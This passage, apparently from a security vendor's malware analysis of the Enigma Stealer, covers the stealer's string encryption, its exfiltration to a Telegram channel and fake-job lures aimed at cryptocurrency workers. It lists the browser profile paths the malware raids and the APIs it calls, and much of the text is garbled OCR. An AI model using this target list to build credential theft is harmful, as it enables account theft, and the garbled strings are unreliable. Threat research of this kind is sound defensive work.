mscorlib, Version=4.8.8.8, Culture=neutral, PublicKeyToken= ]:[System.0Object, mscorlib,
Version=4.8.8.8, Culture=neutral,

PublicKeyToken= | B R System.Collections.Generic.KeyValuePair™ 2[ [System.String, mscorlib,
Version=4.8.8.8, Culture=neutral, PublicKeyToken= ].[System.Object, mscorlib, Version=4.8.8.8,
Culture=neutral, PublicKeyToken= = key.value........ BuildID..... fTomasRey

............... HWID .

EE e s P o [y S e Locallp.....:

L e e DefaultGateway...... == .eceeeeiannaas Country...... n/

e e e e COumEryode. e e ZUpOoHle . e s s Location

S Py eie T TRETTEES S B e #...

e ek e (OO NI Lo e 0 0 N

Figure 41. Network traffic of data upload to the attacker's telegram Channel

_.h.':.alr.-_-rlum Hr.:lpr.:rr
fualunurn Meodules
Implant

33/36


https://www.trendmicro.com/content/dam/trendmicro/global/en/research/23/enigma-stealer-targets-cryptocurrency-industry-with-fake-jobs/Enigma-Stealer%2040.jpg
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/23/enigma-stealer-targets-cryptocurrency-industry-with-fake-jobs/Enigma-Stealer%2041.jpg
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/23/enigma-stealer-targets-cryptocurrency-industry-with-fake-jobs/Enigma-Stealer%2042.jpg

allet
tealerium. Target.Browsers
rsers.Chromium

Figure 42. Enigma Stealer capabilities
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It's worth mentioning that some strings, such as web browser paths and Geolocation API services
URLs, are encrypted with the AES algorithm in cipher-block chaining (CBC) mode.
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[] bytesToBeDecrypted)

m, rijndaelManaged

(bytesToBeDecrypted, @, bytesToBeDecrypted );
(0N

Figure 43. String encryption logic
List of decrypted strings:

| \Chromium\User Data\
\Google\Chrome\User Data\
\Google(x86)\Chrome\User Data\
\Opera Software\
\MapleStudio\ChromePlus\User Data\
\Iridium\User Data\
7Star\7Star\User Data
//ICentBrowser\User Data
/[Chedot\User Data
Vivaldi\User Data
Kometa\User Data
Elements Browser\User Data
Epic Privacy Browser\User Data
uCozMedia\Uran\User Data

Fenrir Inc\SleipnirS\setting\modules\ChromiumViewer

CatalinaGroup\Citrio\User Data
Coowon\Coowon\User Data
liebao\User Data

QIP Surf\User Data
Orbitum\User Data
Comodo\Dragon\User Data
Amigo\User\User Data
Torch\User Data
Yandex\YandexBrowser\User Data
Comodo\User Data
360Browser\Browser\User Data
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Maxthon3\User Data

K-Melon\User Data

CocCoc\Browser\User Data

BraveSoftware\Brave-Browser\User Data

Microsoft\Edge\User Data
http://ip-api.com/line/?fields=hosting/content/dam/trendmicro/global/en/research/23/enigma-stealer-
targets-cryptocurrency-industry-with-fake-jobs/iocs-enigma-stealer-targets-cryptocurrency-industry-
with-fake-jobs-tm.txt

https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=

https://discordapp.com/api/v6/users/@me

Conclusion

Similar to previous campaigns involving groups such as Lazarus, this campaign demonstrates a
persistent and lucrative attack vector for various advanced persistent threat (APT) groups and threat
actors. Through the use of employment lures, these actors can target individuals and organizations
across the cryptocurrency and Web 3 sphere. Furthermore, this case highlights the evolving nature
of modular malware that employ highly obfuscated and evasive techniques along with the utilization
of continuous integration and continuous delivery (CI/CD) principles for continuous malware
development.

Organizations can protect themselves by remaining vigilant against phishing attacks. Furthermore,
individuals are advised to remain cautious of social media posts or phishing attempts that offer job
opportunities unless they are sure of their legitimacy. Due to current economic conditions, threat
actors can be expected to continue to heavily deploy employment lures to target those seeking
employment.

Meanwhile, organizations should also consider cutting edge multilayered defensive strategy and
comprehensive security solutions such as Trend Micro™ XDR that can detect, scan, and block
malicious URLs across the modern threat landscape.

Indicators of Compromise (IOCs)

The indicators of compromise for this entry can be found here.
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